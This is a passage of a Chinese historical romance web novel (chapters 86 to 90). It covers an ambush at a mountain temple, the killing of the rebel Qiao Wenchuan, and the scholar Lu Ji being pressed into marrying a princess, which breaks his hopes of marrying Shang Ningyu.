江昱扯了一抹笑,利落地将两张方桌放倒,然后将她推至中间,再将两张方桌合并,让她困在里面,道:“躲好,别出来。” 说完,开门冲了出去,商凝语窝在地上,所见只有眼前一方寸土,耳边听着外边铁器碰撞发出的争鸣声,一颗心扑通直跳。 终于,动静越来越小,而且渐行渐远,她才稍稍放了心。 应该是将混进来的逆贼都抓住了,由内及外,反扑出去。 事实上,她所料不错,江昱的确已经灭了闯进竹林的乔氏余孽,不过—— 他站在距离竹林不足百米的鱼塘对面,问追赶上来的怀宁:“可有看见乔文川?” 怀宁摇头:“四处都找遍了,没有看到。” “世子,”谢花儿不远处跑过来,话未说出口,这时,在竹林后方又响起一道金鸣,他抬头仰望,顿呼:“不得了,三爷被找到了。” 江昱面色一沉,立刻下令:“怀宁守在这里,花儿,随我去追。” 谢花儿连忙道:“有个人功夫特别了得,上山之后就没了踪影。” 江昱留下十人帮衬怀宁排查四周,带剩下的人向前院追去,怀宁吩咐再将附近全部搜索一遍,看看可还有藏匿的反贼。 这一查,怀宁很快发现不对劲,她站在竹板上,春风拂过竹林,万竿倾斜,但出去的十人只剩了六人。 从水岸对面,现出一人,目光清冷,浮光掠影般踏水而来,来势汹汹。 剩余六人察觉异样,立刻回拢。 与此同时,江昱寻到商晏竹,也瞬间察觉不对,立刻调转回头。 桃月的夕阳落得很慢,但总有落尽的时候,商凝语记着江昱的话,不敢乱动,待眼前的光彻底暗淡下去,终于,有人推门而入。 她动了动发麻的双腿,推开双桌,从里面爬了出来,“江昱,你终于” 看到来人,她的话戛然而止,瞳孔骤然一颤,“你”话未说完,她再次猛地收声。 乔文川同样一怔,江昱也来了? 便是这一怔,叫他没注意到面前商四娘的声音变化,旋即收敛心神,决定尽快离开这里。 他施施然拱手作了半揖,道:“侧妃娘娘,许久不见,太子殿下颇为想念你,命在下带你回去。” 商凝语目光扫了一眼外面,正见一男侍卫一掌拍向怀宁的肩胛,怀宁摔倒在门前,噗的一声,吐出一口鲜血。 她心下着急,却不敢轻易发声,做出低眉顺眼,束手就擒的模样,向乔文川走去。 乔文川看着她露出的眉眼,心中闪过一丝怪异,倏地,上前一步,掀开她的面纱。 机不可失,商凝语任他掀,正当他露出惊怒的表情时,蓦地抬起手臂,射出一支袖箭,而后掉头就跑。 乔文川猝不及防,骤然察觉自己上当受骗,慌乱中只得侧身避险,不料竟还是被她一箭射在肩膀上。 商凝语这个袖箭,乃是岭南猎户专门研制出的射猎工具,射程越短,劲头越足,入木三分,箭头几乎没进了血肉中,痛得桥汶川眉头皱起。 也令凌风一惊,朝怀宁下手的动作倏地停住。 竹屋的设计是正对门有一扇窗,商凝语射完一箭后,立刻冲向窗门,不料刚一脚跨上去,迎面撞上一人,而这时,凌风也看到了她的真容,眼见她要逃跑,立刻将手中长剑朝她刺来。 电光火石间,江昱按下她的头,用刀挡住这雷厉一剑,剑风汹涌,劈落了江昱的面具。 第87章 “江昱?” 乔文川咬牙。 凌风心道不好, 连忙带着乔文川退出竹屋,转身掠过鱼塘,转眼消失在竹林深处, 不用猜,必定下山而去。 商凝语撞上“铜墙铁壁”, 忍不住深吸一口气,一股清冽的雪松香钻进鼻子,她心思一顿, 没想到他一个不正经的纨绔, 身上竟然有如此好闻的香味。 江昱跃下窗,扶她起来,关心问道:“有没有受伤?” 他满眼盛着关切,见她捂着鼻翼,刚落回肚子里的心再次悬到嗓子眼,却错过了她耳尖浮上的一抹嫣红。 商凝语推他, “我没事, 你快去追,别让他跑了。”说着, 指尖不小心错位,露出了鼻子。 看上去确实没什么问题,江昱也才明白她为何会捂着鼻子,轻笑了一下, 忍不住上手捏了捏。 触感极好, 柔腻滑软, 透着一点凉意。 只捏了一下,立刻放开,“好。” 说罢, 拔腿就追。 商凝语咬牙切齿,冲他狠狠瞪了一眼,却顾不上计较了,冲到门外,扶起怀宁,“怀宁,你怎么样?” 怀宁抹了一把嘴角的血渍,道:“娘子放心,我没事。” 商凝语有些迟疑,她也想下山去追乔文川,山下驻扎着军队,她若是能现身,就能打破乔文川的谎言,只有抓住乔文川,这次的围捕计划才能真正算得上结束。 怀宁看出她的想法,道:“娘子快去吧,我休息一下就好。” 恰在这时,住持派来查看的小沙弥小跑过来,小沙弥很敬业,人还在丈远外,就开始询问:“施主,你可还好?” 商凝语连声吩咐:“我没事,麻烦找个大夫来看看她。” 小沙弥看到地上受伤的人,连忙应声,掉头去寻人,商凝语心下着急,好在此时,江昱安排的侍卫赶来,她再不作逗留,下山而去。 山风呜咽,似有恶鬼附在耳边盘桓,她咬紧牙关,顺着记忆往山寺前院赶,好在半途再次遇见一个小沙弥,沙弥拿着灯笼给她引路。 一路下山,追至山脚下,才发现商父也在,正和江昱等人与秦豪对峙。 山影如铁,火把连天。 商晏竹看着面前披甲执锐、一身正气的将军,诚挚道:“秦将军,此人在四年前就犯下了谋逆大罪,正是当今圣上悬赏苦寻的乔氏余孽,不知你眼下将他扣押不放,是何打算?” “自然是押送回京,”秦豪拱手朝上,敬拜后,道:“本将会亲自向圣上说明一切,只是,我也听闻,商侧妃让人代嫁的事,商三爷,不知此事是否属实?” 商晏竹低头一笑,道:“将军切莫听信小人谗言,我女儿早在四年多前,嫁给宁平王殿下,眼下正在皇陵,在先帝后跟前尽孝,现在在山里的,乃是我的幼女。” “哦?既是如此,不知可否请她下山一见?” “不用请,我已经来了。”商凝语沿着山石拾级而下,立在恰到好处的高位,道:“将军,我就在这里。” 山下火把连天,照亮了姑娘一路磕磕碰碰摸寻过来,粘泥带土的衣衫,商晏竹皱起眉头瞪了一眼女儿,江昱扶额,从谢花儿手中夺过火把,走到她跟前。 炽热的光芒照亮了她清亮的眼,此刻,她眼角的冷厉消失,取而代之的是一张乖巧温顺的脸。 乔文川的脸色黑如锅底。 秦豪并不认识商家两个女儿,但他时刻留意乔文川主仆二人的神色,一发觉不对劲,立刻朝属下示意,凌风眼见局势不利,也迅速做出决定。 只见他一剑斩杀距离乔文川最近的将士,又横扫四周一片,乔文川功夫不好,但主仆二人在多年逃亡生涯中,早就练出无间的默契,在凌风将一名校尉斩落下马后,旋即跳上马,凌风紧随其后,紧紧一眨眼的功夫,二人就已经跃下包围内圈,其他属下亦奋起反抗,为二人断后。 秦豪并非毫无准备,立刻下令布阵,剩余将士训练有素,很快形成一个包围圈,将十几人困在中间,火把亮如白昼,也照亮了乔文川苍白的脸。 凌风沉声道:“秦将军,你可莫要被这些人糊弄了,商侧妃潜逃在外是既定的事实,我家少主秦豪!” 秦豪亲自提起弓弩,连发三箭灭了凌风的未尽之言,三箭在重弩的加持冲击下,衔着雷霆之势冲向二人,凌风要护着乔文川,不料跨下的黑马受惊,撂起了前蹄,直着脖子长声嘶鸣。 商凝语正紧张地看着山下,这可是千载难逢的好机会,一举斩杀乔文川这个祸害,一了百了。 江昱将火把递过来时,她毫无察觉,这手不方便,就用那个手,待她反应过来,江昱正托着她的手腕,手指扣动扳机,轻而易举地取下袖下箭。 她微微一愣,他这套动作未免也太过自然而然了。 他们哪有这么熟? 但江昱脸上的神色太过波澜不惊,以至于她生出一股“如果我此刻拒绝就是小题大做不顾大局”的错觉。 就这么一晃神,又让他得了逞,江昱指腹划过她腕内经脉,留下一阵酥麻,然后,若无其事地拿着箭弩向山下走去。 商凝语浑身僵硬,万万没想到,在这大敌当前的危急时刻,他还有心思调/戏她,愤懑难安时,就见他抬手射箭,正经的不能再正经。 从昏暗的夜色里猝不及防地闪过一条流失,“噗”地一声插进乔文川的心口。 “少主。”凌风惊恸。 乔文川目光微斜,朝树林深处看去,光影幢幢,石径的尽头,他仿佛看到一倩影,容貌姿丽,曾在数个夜晚,在他身下绽放妩媚的花。 他喉咙里发出愤恨的桀桀声,若非此人,他怎会沦落至此?一朝错,满盘皆输。 凌风放下怀中尸体,再抬头,朝林中看来,面色阴沉,眼神比林中墨色还要浓烈,忽然,他蓄势奔起,连斩数人后,一跃而起,借着路边垂枝,身手敏捷地向商凝语杀来。 他仿佛也顾不上身后的官兵,只将江昱连发的十支箭矢斩落,未能顾及的便任由它穿进血肉,以一种势在必得的气势,奋不顾身地向商凝语刺来。 商凝语惊恐后退,江昱提刀挡在商凝语跟前,谢花儿也上前助阵,商父将商凝语护在身后。 商凝语不自觉地屏住呼吸,紧紧盯着胶着的二人,凌风似乎察觉到,杀商凝语已经有些困难,但若是能杀一个江昱也算回本,不再作他想,剑剑刺向江昱的命门。 而江昱这四年来却是在血海里生长出来的,永宁帝登基顺利,但中原九州,恰在这四年出尽了纰漏,先是西南的南蛮派兵卒在边境骚扰百姓,后有西北的乌孙派遣一万大军环城试探,水患瘟疫亦是连连,仿佛上天要给这位新帝君来一场毁天灭地的考验,除了江南一带,天灾人祸齐上阵。 永宁帝虽调遣有度,但到底分身乏术,前两年将江昱带在身边磨练,硬生生将他逼得褪去纨绔的外衣,由内而外的成熟起来,三年前,南蛮发生内乱,年幼的南蛮王向大盛求救,永宁帝派他前去平叛,他只身一人闯入敌营,杀出重围后带出年幼的南蛮王,至此,他身上那点玩世不恭的矜贵脾性,已经磨砺得七七八八。 这会儿,潜藏在血肉里的凶狠被激发出来,江昱几乎维持不住世子的潇洒,他只知,要护在商凝语身前,彻底将此人斩杀。 凌风身手柔韧,身手敏捷,一把长剑在他手中如银蛇飞舞,而江昱相对较于霸道,一刀砍在凌风身上,血沫飞溅,一时间,凌风略占下风。 商凝语心跳如雷,她还记得多年前,在国子监旧书楼撞见江昱时,他被一个相貌丑陋的老内侍逼迫得腿脚发软的样子,那不全是药效的作用,有更深一层原因必定是来自幼年阴影。 原来,他可以这般强。 能有今日身手,必定不是一日之功,或许,他从前就瞒着长公主,暗自偷偷练习。 原来,有些人一旦攻克了心魔,就可以所向披靡。 小时候,表弟和她抢零食,她处处忍让,八岁那年,积压数年的怨气一朝爆发,将表弟带去山里一顿胖揍,然后将人仍在猎户设置的陷阱里,直至天黑方才找回来。 从那之后,表弟对她服服帖帖,别说抢东西,便是自己有了好东西,也是双手奉上。 当真是,瞬间治好了他的毛病。 舅妈曾说她:“这人与人相处,它就讲究个缘分,阿华跟他抢东西,将他打得头破血流,他爬起来给人打断腿,嘿,对你就不敢了,这就是缘分!” 商凝语神色恍惚,眼前虽有二人的刀光剑影,心头却掠过她当年在脑海中炸响的声音:有个屁的缘分,开弓没有回头箭,治一顿不够,就再治第二顿,总能治好的。 但是,现在,她心想,她终于知道,江昱为何喜欢她了。 也许,她于江昱而言,就像于表弟一样,都治好了他们身体里的某种病! 第88章 江昱最后是否亲手斩杀凌风, 商凝语没有看到,她被商父带走了,当晚暂且在紫云寺歇息了一夜, 翌日一早就回了名贤巷,此后许久都不曾见过他。 而远在京都的陆霁, 此刻收到了来自宜城的书信。 彼时,京都下起了瓢泼大雨,天昏地暗, 路上行人皆无, 商铺廊下的灯笼被雨雾氲湿,在突如其来的狂风里打着旋。 陆霁便是在躲雨时,一名尽职尽责的驿差,披着蓑衣,前来询问,“你是不是翰林陆霁?” 陆霁原本失意的双眸亮了亮, 拱手道“在下正是。” 他礼数周全, 一点也没有读书人的傲慢,可天下大雨, 驿差无暇与他客套,将手中书信塞给他:“给,这是你的信。” 陆霁顺嘴问了一句:“信?哪儿来的?” “宜城。” 他的脸霎时变得雪白,书信捏在手中, 指尖泛白, 驿差冲回雨中, 眨眼消失在雨幕里。 就在半个时辰前,他又去了一趟吏部,询问他的调令何时能下来, 然则,没有,吏部说没有他的调令。 他心知原因是为何——当朝最尊贵的长公主倾慕他,想将他留在这做城里。 从年前开始,他的同僚都相继有了去路,或是留在翰林继续观政,或是调去六部,最不济的也能某个地方官职,早早地就去了任上,唯有他,至今逗留在这繁花似锦的都城,无人问津。 终于来了,宜城的书信终于来了。 他低头,看着上面熟悉的字迹,心头一片茫然,四年前,他从岭南来到京都,只觉得京都人才辈出,气象繁荣,或有恃强凌弱的迹象,但不乏人间温暖。 而今才知道,这京都城,是一座大山,是个将人慢慢钝化的魔窟。 天边响起一道惊雷,雨水狠唳,砸在脸上像针刺一般疼痛。 他心想,或许还可以再等等,等长公主对他失去兴趣,等吏部有个偏远的官职非他去不可。 一辆马车停在商铺前,陆霁移眸,车帘被掀起,露出一张精致白皙的脸,朝他笑道:“陆公子,雨大,我送你一程。” 陆霁略作迟疑,白璎珞轻笑,歪着脑袋打趣:“你不必害怕,我家乃是书香门第,做不出强抢夫婿的事。” 陆霁忙作揖道一句“娘子言重”,掀着蔽膝进了马车,再三言谢后,正襟危坐。 说起来,二人也算熟悉,当初离城,白老先生载陆霁南下,他与白家兄妹二人有过浅薄交谊。 只不过,一次偶然机会,陆霁看到了白池柊的画作,那惊慌失措,面颊红到耳根的羞涩模样,让白璎珞看了分外好笑,不知不觉中,三人多了几分不为外人所道的亲近。 永宁二年,白老先生因病离世,白璎珞以为祖父守孝为名,在家待嫁了三年,眼下,婚事也成了白家双亲最为头痛的事。 此刻,白璎珞坐姿端正,端着一副淑女模样,眼睛却不守规矩地下飘,看到他身上沾湿了大半的儒衫,以及手里只被两滴雨水浸染的信封,大概是不知哪本话本子里的桥段忽然涌上心头,触发了机关,她脱口而出,问:“心上人的信?” 陆霁面不改色,道:“白娘子慎言,这是恩师给我的书信。” 白璎珞忍了忍,没嗤笑出声,顺着他的话点头,突然扔出一个惊天大雷,“你若是不想尚主,那便娶我吧。” 陆霁顿时手脚都无处安放,远离她挪过去一点,在一阵手忙脚乱的慌乱后,吐出一口气,无奈叹道:“娘子慎言,婚姻乃是人生大事,岂可儿戏?某就当没听过娘子这句话。” 白璎珞笑:“陆霁,你不要总对我说慎言慎言,你越说,我越想逗你。” 陆霁赶紧闭嘴。 白璎珞缓了缓,托起一颗诚挚的心,道:“我没办法,家里逼得紧,可我实在不想嫁人,恰好你是我爷爷的关门弟子,嫁给你,我不亏,而且,我看你不是迂腐之人,我们搭伙过日子,对我们俩都好。” 陆霁不是践踏别人心意的人,也是认真地回:“对不住,在下心有所属,如此会委屈了娘子,娘子另寻他人吧。” “你还在等商七娘?”冥想片刻,白璎珞微惊。 喃喃道:“我还道你只是不想尚主。” 陆霁现在有些后悔,不该上这辆马车来。 白璎珞倏地一笑,道:“我劝你还是早点放弃吧,你和商七娘已经没有可能了。” 陆霁神色一顿,不自觉地问:“为何?” 白璎珞道:“华阳公主对你的心思,眼下这京都城内谁人不知?你乃永宁二年的探花啊,试问你的同科现在都在何处?当年的状元和榜眼都在何处?你在翰林三年,可圣上从未传你问讯,你知道这是何意吗?” 陆霁脸色发白,只听她继续道:“圣上心疼华阳公主,知晓华阳公主的心思,所以这是在给她铺路。一个从未入过圣眼的臣子,便是再有才华,也只是一枚弃子。” 旋即,她发出灵魂拷问:“你如果断送官途,七娘子还能嫁你吗?” 眼见陆霁眼底掠过一丝难堪,不等他回答,白璎珞叹道:“你没有一官半职,就没有娶七娘子的筹码,商家还有一个女儿是宁平王侧妃,她便是低嫁,也能嫁给县令之子。”而不是你这个徒有虚名的探花。 一句话,锥心刺骨。 现实四分五裂,化成万千冰雪,将陆霁笼罩,不容他半分退缩。 白璎珞却又话锋一转,俏皮道:“但是,你若是娶了我,就不至于被华阳逼得退无可退啦。爷爷在圣上那里尚且留有几分面子,虽然,不一定能让你在朝中六部谋得一官半职,但是,留在国子监总是可以的,你博学多才,教书育人,亦不枉废你多年寒窗苦读。” 陆霁遍体生寒,然而,寒意褪去,心头上涌的是密密麻麻的苦涩。 他从未想过做官是一条坦途,只是从未想过,摆在他面前的不是民生艰苦、官场的尔虞我诈,而是这样一条赤裸裸的权势倾轧。 这无疑是对他十多年寒窗苦读的一种羞辱。 然则,这样的羞辱,于他们而言,不过是心中一个念头,一份执着,一抹亏欠。 马车停在陆家暂住的巷子口,从巷子深处吹来的寒风掀起了车帘,透过车帘,陆霁看到家门前华阳派来的侍女转身回屋,不久后,他阿娘亲自走出门外,翘首张望。 这是他盼了二十年的温情,在他的任劳任怨和商凝语的纲常伦理中从未出现过,但在华阳的金银堆叠中,轻易就得到了。 这是陆霁二十年人生中,第一次感到茫然和无措,滔天的无力感倏地将他压制得喘不过气来。 他忽然很想要一位恩师,为他指点迷津,替他解开这个局,然则,人海茫茫,偌大的京都城,无人能再为他答疑解惑。 这个念头才起,他猛地想起,他答应了回春医馆的学子,今日要去给他们解些疑题,忙敛起心神,垂眸道:“麻烦娘子再送我去一趟回春医馆。” 回春医馆距离前忠勤伯府只有徒步半炷香时间,白璎珞会心一笑,并不多问,着车夫调转车头。 陆母的身影消失在车窗的罅隙里,陆霁收回目光,平静道:“陆家家世,配不上京都任何一家贵女,白家书香传世,也莫要为了某断送声名。某在这里多谢娘子美意。”说罢,他抬手,朝白璎珞作揖敬拜。 白璎珞见他如此,心中略感遗憾,但面上却无过多失意,无可奈何道:“也罢,那我只好随我娘去见户部侍郎夫人了。” 陆霁轻笑:“尊夫人爱女心切,定能为你择得良婿。” “谢你吉言。” 马车到了回春医馆,陆霁再次拜谢白璎珞,转身走进药铺,邢长卿等候他多时,见到他,连忙催促:“你快上楼,他们都快给我这楼顶掀了。” 陆霁暂且扫却心头阴霾,敛神去上二楼,此刻,二楼人声鼎沸,近十名学子正因一道黄河治理问题吵得天翻地覆。 “《禹治》有载,导河积石,至于龙门,当效大禹疏浚之法,而今黄河一带,河道淤塞,强筑堤防不过扬汤止沸,应凿三门,开新道,引水归海,方是治本。” “非也非也,李兄此法,不过是纸上谈兵,在下家住黄河下游,须知黄河之水,长年积淤,疏导乃是浩大工程,不仅劳命伤财,而且需要将下游民众全部疏散,百姓背井离乡,如何使得?” “不如效仿何工的《河防工程录》,以石夯土,双重堤防,主堤束水攻沙,遥堤防备漫溢,或可让黄河绵绵细流,为我等人类驱使。” “真是大言不惭,天公降赐,岂容你借用?只怕一朝天怒,堤坝坍塌,房兄你担待不起。” 吵闹声,甚嚣尘上,却不乏激情和热血,虽不知天高地厚,却让人看了,心潮澎湃。 房门敞开,陆霁停在门外,心中涌出一丝艳羡,须臾,抬手打破尘嚣,款笑走了进去。 邢长卿敛药轻嗅,双耳齐立,待听到楼上瞬间息音,他缓缓吐了口气,将药拿给病人,叮嘱他按照药方煎熬,患者含笑打趣:“幸好有陆探花,否则你这里一天不得跑走好几个病人?” 邢长卿是个性格温和的大夫,闻言笑叹:“可不是?赶明儿我让陆探花就住在我家了。” “那敢情好,我家孙子马上就要考府试,我也让他到陆探花跟前沾点运气,要是能考上童生,我给你送锦旗。” “得,我替你给人留下。” 邢长卿插科打诨,送走老妪,眼见铺子里没了人,松了松筋骨,走到通往楼梯口的布帘后,侧耳偷听。 第89章 雨势渐停, 暮色也降临下来,楼上的学子终于陆陆续续下楼来,朝邢大夫拱手言谢, 相继离去——他们相约,放榜之前, 再最后放纵一回,海吃一顿。 当然,也邀请了邢长卿, 却被邢长卿婉拒了。 须臾, 陆霁从楼上下来,邢长卿惊诧:“你没随他们一道?” “没。”陆霁揉了揉眉心,看了眼门外,心里开始有些担心家里——阿娘到底是在等他的。 他神色有些漠然,与学子们畅谈时政的快意褪去,先前的惆怅迅速回拢, 甚至反扑得更加猛烈, 压在心头的大山反而更加沉重。 他忽然产生了一种荒唐的念头,这个关乎他个人人生大事的问题, 比解决黎民社稷的问题还难。 黎民社稷,万般困难,不过蜉蝣一条命,而这区区人生大事, 却要他抛却十多年的执念和心血, 多么可笑, 难道他二十年的努力就是为了一步登云梯,尚主吗? 邢长卿觉得陆霁脸色不对,回到桌前, 对他招手,“你过来,我给你看看。”示意他将手伸出来。 陆霁压制着心头的怒火和不甘,依言将手搭在诊巾上,邢长卿凝神诊脉,转眼,神色凝重,待细诊后,收回手,没好气地看他,道:“郁气阻滞,双目干涩,嘴长火疖,你这是郁闷烦心,已经接连半月没睡好觉了?” 被大夫看破,陆霁也不隐瞒,略微颔首。 如他这般,存了心事也不流露,以至于郁结成疾的患者,邢长卿见过不少,见状并不多问,走出柜台,一边笑骂:“马上就到了春闱放榜时候,这群学子按捺不住把酒寻欢,走,你也来陪我喝一杯。” 正好,他正想喝一杯。 陆霁应允,邢长卿关了前门,二人一同来了后院,酒菜上桌,二人先共饮一杯,而后吃口小菜垫把肚子,再饮一杯,陆霁这些年酒量见长,三杯下肚,依旧面不改色。 他观邢长卿,这些年,这位大夫亦兄亦友,照顾他很多。 大约是垂死前的挣扎,在邢长卿稍微试探下,陆霁将自己的心事缓缓吐了出来。 “邢兄,你说,我能如何解决如此困窘?” 原来是为了此事。 邢长卿心头发涩,谁的仕途一帆风顺呢? 想当年,他也是惊才艳艳啊,却被老爷子拉回来当个小小的郎中。 顿时,邢长卿悲从心来,但他还是记得饮酒的目的。 “你这好办,你只要去求长公主不如这样,你就直接去给她当几天的姘头,不用怕,等她厌恶你了,你自然就自由了,到那时,该娶妻娶妻,该升官升官。” 打从心眼里,邢长卿觉得这是个好主意,夫妻本是共同体,谁不能做出一点牺牲?不过忍一时污糟,换来理想抱负的实现,何乐而不为? 哪比得上他?他上头有老头子压着,孝道大于天,他翻了天去,也只能弃笔从医。 他以为,两个同病相怜的人,可以惺惺相惜。 陆霁却苦笑:“不瞒你说,月前,我跪到长公主面前,求她放我一条生路,被她拒绝了。” 如此,长公主又怎会轻易放过他?更不要说,这是什么荒唐的办法。 邢长卿震惊,蓦地站了起来,怒斥:“男儿膝下有黄金,你!你你——这些该死的官爷们!各个捧高踩低,有胆量就让你入了官场,拿出水平一较高下!” 一向心平气和,讲究安神疏肝的大夫骤然发怒,“朝堂上难道就没人能管管吗?啊?你去告御状,去告到御史台,对,让那些言官弹劾。” 陆霁摇头,“该用的办法都用了,只怕我从前写的奏折,都被司礼监截留,眼下,我身无官职,更是无法面圣。” 邢长卿哑口无言,仔细思索,显然对方有备而来,这当真是投告无门,除非,陆霁真的肯舍了一身剐,冒着得罪皇室以及整个朝廷的风险,去敲登闻鼓。 但如此一来,与商家的婚事等同泡汤,何苦来哉? 死局,死局啊。 邢长卿叹了口气,坐了下来,二人默默饮酒,好半响,无人应话,互相沉闷。 “邢兄慧眼,霁若能外任,一定做个廉洁奉公的好官。”忽然,陆霁豪气冲天,站起来,执起酒壶给自己倒酒,结果,倒了半天,才发现酒壶已空。 不等邢长卿再唤酒来,他猛地将酒壶惯在地上,大声道:“便是一辈子只当个父母官,我也认。有胆量,将我贬去岭南,西北荒地,真刀实枪地干上一场!想让我退缩,没门!难道要我百年后,含恨而终?” 这是相识五年,邢长卿第一次见陆霁失态,心中堵得慌,大声道:“对!必须迎难而上,天下降大任于斯人也,必先”话未说完,他猛地顿住,双目圆睁。 只因他看到陆霁满脸泪水,隐忍悲痛的样子。 他倏地酒醒过来,明白了陆霁最后一句话是何意。 心头酸涩难忍,过去拍了拍他的肩膀,讷讷安慰他,“情爱都是过眼云烟,你,也别太难过。” 少年面色红晕,显然饮下不少,脚步虚晃一下,退出座椅,拱手作揖,郑重道:“多谢邢兄。” 说罢,直起身子,转过身朝外走去,跨过门槛时,不小心绊了一跤,他轻忽一笑,摆手道:“没事,没事。” 见他就这么扬长而去,邢长卿心中生忧,连忙追了过去,只听他高声大唱:“宣室求贤访逐臣,贾生才调更无伦。可怜夜半虚前席,不问苍生问——鬼——神。” 邢长卿一个踉跄,跌跪在门槛内。 一道悲怆的声音再次响起:“不问苍天,问——鬼——神——” 字字凄厉,如子规啼血,荡气回肠。 有些人,天生重情重义,然则,待他亲自挖心剖肝,他也就失去了生命里的唯一枷锁,从此乘风踏云,一身轻松。 陆霁跌跌撞撞走了出去,融进夜色里。 “不等了。” 他眼眶湿润,喃喃告诫自己,“不等了。” 不等长公主回心转意了。 不等她,再给机会了- 彼时,石榴花开,正是艳阳高照的好时节,商凝语邀请了宜城几位女娘前来家中作客。 主要是夏如烟不知从何处听说,她曾有一副佳作——《落梅惊魂》,流传入宫,再三央求,要她再做出一副出来,她拗不过,但当年制作心得到了如今早忘了七七八八,于是重新选了新品,以牡丹、芍药为题,分别做了一盆绒花。 夏如烟带着上次打花鼓马球的几位女娘,围着绒花盆栽一阵稀罕。 “这个花是如何制作出来的?为何看起来如此逼真?” “这一盆,需要花多久的时间制作完成?” “七娘,我也要当你的学生,改明儿,在教室里般几把椅子,我们都来上你的课。” “是是是,我要做天山雪莲。” “我要做永不凋谢的山茶花,火红火红的山茶花。” 几人七嘴八舌,商凝语无有不应,这时,门房火急火燎地跑了进来,面带喜色:“七娘子,来信了,京都来信了。” 欢声笑语的庭院里,骤然阒寂。 几名娘子笑容凝滞,不约而同地看向夏如烟。这宜城之内,谁不知道夏县令的独子,追求商家七娘子追得颇为辛苦,浪子回头,可谓真金难换。 这京都来的书信,是她们心中所想的那样吗? 商凝语面不改色地接过书信,暗地里,瞪了一眼门房,哎,这要是京都伯府的老门房,怎会这般没眼力见? 她拿过书信,并不拆开,随手交给点翠,点翠再若无其事,寻常一般送回屋子里。 几名女娘便明白了,嗯,就是她们所想的那个意思! 她们比门房有眼力见,并未追问,好在又鉴赏了一番绒花后,后厨前来请示用膳。 商晏竹和商二爷带着几个公子在外面吃,田氏等几个女眷都在主院用膳,商凝语留女娘们在杏园,午膳过后,几位女娘相继离去。 直至晌午过后,商凝语都没有来得及看信,实则,她心里早痒痒,却半点没显示出来。 亲自将最后一名女娘送上马车,目送马车远远离去,商凝语立在门前,提起裙裾,准备转身进屋。 忽然,她身形一顿,再次转身看去,只见江昱身着戎装,骑在高头大马上疾驰,所至方向,显然是自己。 商凝语说不出此刻的心情,惊讶,欣喜,以及自己克制却无法忽视的一丝悸动。 原因乃是,紫云寺山下,他冒死相救,而她亲眼见证了他的蜕变,却没来得及对他说声“谢谢”。 还有一种原因,她为自己感到自豪,她这也算无心插柳柳成荫,挽救了一位失足少年,当然,她不会说出这种自恋想法的,只是会忍不住,欣赏这份“作品”,享受这点虚荣。 商凝语好整以暇地立在原地。 男人远远地拉紧缰绳,骏马扬蹄嘶鸣,躁动地原地踏步后,鼻孔里喷出股股热浪,表达自己的不满。 “江世子,当街纵马,你未免太嚣张。”商凝语高声揶揄。 江昱眼里原是闪着光,跳下马,大步流星朝她走来,渐渐地,心中起了疑,待到了她跟前,见她那副有恃无恐闲情逸致的模样,不由得心里一咯噔。 衔着喜意而来,嘴角几乎压制不住的江世子,倏地不再似先前那般放肆和随意了,嘴角笑意僵硬,眼里流露着一丝疑惑,问:“你没看信?”不是午前就送过来了吗? 仔细听,不难分辨其话中的小心翼翼。 “什么?”商凝语质疑,“你怎么知道我得了信?” 不等江昱回答,她心头顿时浮起不祥的预感,边后退,边审视江昱,须臾,不顾一切地转身,提起裙裾朝屋内跑去,而江昱被门房拦在门外。 “娘子,信在我这里。”点翠受其影响,心口扑通扑通直跳,追到垂花门后,拿出信封。 娘子顾及颜面,叫她收起来,她却是知晓,娘子盼着这封书信已经很久了,作为娘子最贴心的婢女,自然是急娘子之所急,叫娘子能随时查阅。 商凝语拆开信封,起初,见字如金,稀罕珍贵,而后,面色突变,一目十行,不稍片刻,便看完了信。 她脑中霎时出现一片空白,点翠见她神色不对,忙问:“娘子,信里说什么了?” 江昱与门房交涉完毕,缓步走了进来,商凝语骤然掀起眼眸,二人视线相撞,这一眼,什么惊喜也没有了,只有浓浓的防备和质疑,以及几不可察的憎恨。 这与自己的计划有差,江昱顿时暗叫不好。 商凝语尚存一点理智,事情未查明之前,不能迁怒江昱,拘着礼数,吩咐道:“点翠,家里来客了,去告诉夫人。”说罢,转身离开。 “是。”点翠心中天人交战,恭恭敬敬地将人引向堂屋:“江世子,这边请。” 江昱站在原地不动。 谢花儿伸着头朝疏影后看,眼见七娘子离去的背影透着决绝,转头来问:“世子,七娘子是不是误会了?” 江昱冷笑。 谢花儿呵地一声,“好心当作驴肝肺。” “喂,”点翠不满道,“你们对我家娘子放尊重点,娘子可什么也没说!” 谢花儿也为自家世子气恼,叉着腰,难得硬气了一回,道:“陆公子在京都尚主,我家世子担心你家娘子伤心过度,特意前来安慰,你瞧瞧,你们这是对待恩人的态度吗?” “什么?尚主?” 闻声而来的田氏,惊呼一声,眼白一翻,直挺挺地晕厥过去—— 作者有话说:明天见,么么 宣室求贤访逐臣,贾生才调更无伦。可怜夜半虚前席,不问苍生问鬼神。——李商隐的《贾生》。 第90章 田氏一晕, 江昱狠瞪了谢花儿一眼,连忙上前帮忙,好在田氏清醒得也很快, 拉着江昱的手询问是怎么回事。待听说长公主榜下捉婿,早在三年前就相中了陆霁, 顿时泣不成声,口中污言秽语不要钱地往外吐,叫一旁的嬷嬷听了心惊肉跳, 眼神不住地往当朝新贵勇毅侯世子身上招呼。 当朝新贵勇毅侯世子面色平静, 道:“伯母受打击过重,说几句过激的话,我理解。” “多谢世子体恤。” 知晓自家娘子主仆二人的脾性,嬷嬷不敢让点翠在这个节骨眼服侍这位世子,吩咐她送三夫人去屋里歇着,自己则接过小侍女奉来的茶水, 端到世子跟前, 扯着笑谄媚:“世子仁善,千万别跟婢子们一般见识。” “不过, ”江昱端坐堂侧,端起茶盏浅押一口,话音一转,俨然有几分公事公办的味道, “辱骂皇室, 罪名不小, 嬷嬷还是快去安抚好三夫人,免得被外人听见。顺便也派个人,传信告知三叔父。” “一定一定。”嬷嬷点头如捣蒜, 忙不迭地派人去给三老爷送信。 商晏竹这几日正在协助夏县令做乔氏余孽抓捕的收尾工作,韩家助纣为虐,一夜倾家荡产,阖家被贬西北,家产充公,夏县令几夜没睡,只因笑得合不拢嘴,周公来了几次都绕道离开。 金乌开始西沉,商三爷披着橙光回到家,在衙门里,他听说了陆霁尚主的事,此刻,心中沉甸甸地,叹道,该来的还是来了。 这大概就是他当初骑驴找马的报应吧。 失望是有的,但并没有多少意外,不过,他在进屋,见到江昱的那一刻,心里咯噔一声,也冒出了和他的女儿一样的想法。 但是,他比他的女儿更快地抛去了这个自作多情的念头。 谢花儿立在他家主子身后,小声嘀咕:“都怪世子你,来得太不凑巧了。” 